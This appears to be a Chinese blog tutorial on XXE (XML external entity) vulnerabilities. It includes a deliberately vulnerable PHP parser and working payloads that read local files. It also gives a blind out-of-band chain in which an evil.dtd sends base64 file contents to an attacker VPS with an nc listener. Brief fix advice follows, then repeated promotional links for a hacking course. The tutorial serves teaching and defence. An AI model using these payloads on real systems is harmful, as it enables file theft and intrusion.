声明:本文仅供安全研究和学习,切勿用于非法用途。任何滥用本文信息的行为,后果自负,与作者无关!请自觉遵守法律法规!
漏洞原理:扒开XML的“皮”
想搞懂XXE漏洞?先得和XML“谈谈心”。XML文档就像一个结构化的数据“容器”,里面装着XML声明、文档类型定义(DTD)和各种元素。
文档类型定义(DTD),这玩意儿有点像XML的“剧本”,告诉解析器文档该怎么读。DTD分两种:
- 内部声明: “剧本”写在XML文档里。
- 外部引用: “剧本”藏在外面,通过链接告诉解析器。
内部声明DTD格式:
<!DOCTYPE 根元素 [元素声明]>
外部引用DTD格式:
<!DOCTYPE 根元素 SYSTEM "DTD文件URL">
有了“剧本”,我们就能在DTD里声明“实体”。实体,你可以理解为XML里的“变量”,分内部实体和外部实体。外部实体最“皮”,它能引用外部资源(文件、URL)。当XML解析器读到外部实体,会把它的内容替换成实际内容。
内部实体:
<!ENTITY 实体名称 "实体的值">
外部实体:
<!ENTITY 实体名称 SYSTEM "URI">
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
上面这些都是通用实体。还有一种叫参数实体,定义时在名字前加个“%”,只能在DTD里用。
内部参数实体:
<!ENTITY % 实体名称 "实体的值">
简单来说,实体就是个“变量”,名字是变量名,值是变量值。
如果你的程序解析XML时,没关掉外部实体的解析功能,那黑客就能构造恶意的XML数据包,利用外部实体访问那些不该暴露的资源,搞事情!
漏洞利用:花式“偷”文件
先来一段有漏洞的服务端代码(PHP版):
<?php
// 接收POST请求中的XML数据
$xmlData = $_POST['xml'];
// 加载XML数据
$dom = new DOMDocument();
$dom->loadXML($xmlData, LIBXML_NOENT | LIBXML_DTDLOAD);
// 获取用户名和密码
$username = $dom->getElementsByTagName('username')->item(0)->textContent;
$password = $dom->getElementsByTagName('password')->item(0)->textContent;
// 打印用户名和密码
echo "Username: " . $username . "<br>";
echo "Password: " . $password . "<br>";
?>
1、有回显:直接“拿”
用内部声明DTD的格式,定义外部实体变量,读取win.ini
文件,就像这样:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<user>
<username>&xxe;</username>
<password>123456</password>
</user>
发送请求包:
如果读取的文件里有特殊字符,回显可能会出问题。别慌,用base64编码一下:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
]>
<user>
<username>&xxe;</username>
<password>123456</password>
</user>
2、无回显:曲线“救”国
有时候,服务器不给你回显,那就得想办法把数据“偷”出来。
1)先准备一个DTD文件evil.dtd
,扔到你的VPS上,内容如下:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://你的VPS地址:2333/?file=%file;'>">
%int;
%send;
这个DTD文件定义了外部参数实体file
,用来读取win.ini
文件内容;外部参数实体int
的内容是另一个外部参数实体send
的定义,并且将实体file
的内容拼接到url中,做带外请求。
2)在VPS上,DTD文件所在的目录开启http服务:
python -m http.server
3)在VPS上开启nc监听:
nc -lnvp 2333
4)发送如下POC:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://你的VPS地址/evil.dtd">
%remote;
]>
<root>
<username>test</username>
<password>test</password>
</root>
其中定义了外部参数实体remote
,并在DTD中进行引用,这一步操作会将VPS上的evil.dtd
文件加载,然后分别引用实体int
和send
,触发evil.dtd
文件中的xml代码。
5)nc成功收到数据:
3、内网主机探测:看谁在“裸奔”
还可以用HTTP协议探测内网主机是否存活,就像用“雷达”扫描一样。
修复建议:给你的代码穿上“防弹衣”
1、禁止使用外部实体,这是最有效的防御手段。在PHP中,可以这样设置:
libxml_disable_entity_loader(true);
2、过滤用户输入的XML数据,防止出现非法内容。对用户提交的XML数据进行严格的校验和过滤,移除任何可能导致XXE攻击的恶意代码。例如,可以检查DOCTYPE声明和ENTITY定义,确保它们不包含任何外部引用。
记住,安全无小事,防患于未然!
黑客/网络安全学习包
资料目录
-
成长路线图&学习规划
-
配套视频教程
-
SRC&黑客文籍
-
护网行动资料
-
黑客必读书单
-
面试题合集
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
**
**
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
更多内容为防止和谐,可以扫描获取~
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************